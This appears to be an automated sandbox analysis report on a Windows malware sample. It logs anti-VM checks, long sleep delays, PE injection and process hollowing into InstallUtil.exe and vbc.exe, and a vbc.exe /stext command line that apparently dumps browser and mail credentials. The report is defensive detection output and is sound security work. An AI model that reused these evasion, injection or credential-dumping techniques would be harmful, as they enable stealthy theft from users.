Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match

File source: Process Memory Space: FukQGQj7cl.exe PID: 4792, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Window / User API: threadDelayed 390
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Window / User API: threadDelayed 9400

Source: C:\Users\user\Desktop\FukQGQj7cl.exe TID: 6020	Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Users\user\Desktop\FukQGQj7cl.exe TID: 1092	Thread sleep count: 390 > 30
Source: C:\Users\user\Desktop\FukQGQj7cl.exe TID: 1092	Thread sleep count: 9400 > 30
Source: C:\Users\user\Desktop\FukQGQj7cl.exe TID: 6020	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe TID: 6396	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe TID: 6644	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe TID: 6648	Thread sleep time: -140000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe TID: 6652	Thread sleep time: -54600s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe TID: 7032	Thread sleep time: -180000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 21_2_00406EC3 FindFirstFileA,FindNextFileA,strlen,strlen,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_00408441 FindFirstFileW,FindNextFileW,wcslen,wcslen,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_00407E0E FindFirstFileW,FindNextFileW,FindClose,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 22_2_004161B0 memset,GetSystemInfo,

Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Thread delayed: delay time: 120000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Thread delayed: delay time: 140000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Thread delayed: delay time: 180000

Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: vmware vmci bus device!vmware virtual s scsi disk device
Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: vmware svga
Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: vboxservice
Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: Microsoft Hyper-Vmicrosoft
Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: vmware usb pointing device
Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: vmusrvc
Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: vmware pointing device
Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: vmware sata
Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: vmsrvc
Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: vmtools
Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: Microsoft Hyper-V
Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: vmware virtual s scsi disk device
Source: FukQGQj7cl.exe, 00000001.00000002.314280605.0000000002FDF000.00000004.00000001.sdmp	Binary or memory string: vmware vmci bus device
Source: FukQGQj7cl.exe, 00000001.00000002.310032279.000000000137F000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\FukQGQj7cl.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 21_2_00403C3D LoadLibraryA,GetProcAddress,strcpy,

Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\FukQGQj7cl.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Memory written: C:\Users\user\AppData\Local\Temp\InstallUtil.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000 value starts with: 4D5A

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base address: 400000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base address: 400000

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Memory written: C:\Users\user\AppData\Local\Temp\InstallUtil.exe base: 400000
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Memory written: C:\Users\user\AppData\Local\Temp\InstallUtil.exe base: 402000
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Memory written: C:\Users\user\AppData\Local\Temp\InstallUtil.exe base: 482000
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Memory written: C:\Users\user\AppData\Local\Temp\InstallUtil.exe base: 486000
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Memory written: C:\Users\user\AppData\Local\Temp\InstallUtil.exe base: ECE008
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 412000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 416000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 418000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 443000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 44F000
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe base: 452000

Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process created: C:\Users\user\AppData\Local\Temp\InstallUtil.exe C:\Users\user\AppData\Local\Temp\InstallUtil.exe
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holderwb.txt'
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holdermail.txt'

Source: InstallUtil.exe, 00000010.00000002.488876103.0000000001A20000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: InstallUtil.exe, 00000010.00000002.488876103.0000000001A20000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: InstallUtil.exe, 00000010.00000002.488876103.0000000001A20000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: InstallUtil.exe, 00000010.00000002.488876103.0000000001A20000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Queries volume information: C:\Users\user\Desktop\FukQGQj7cl.exe VolumeInformation
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\InstallUtil.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
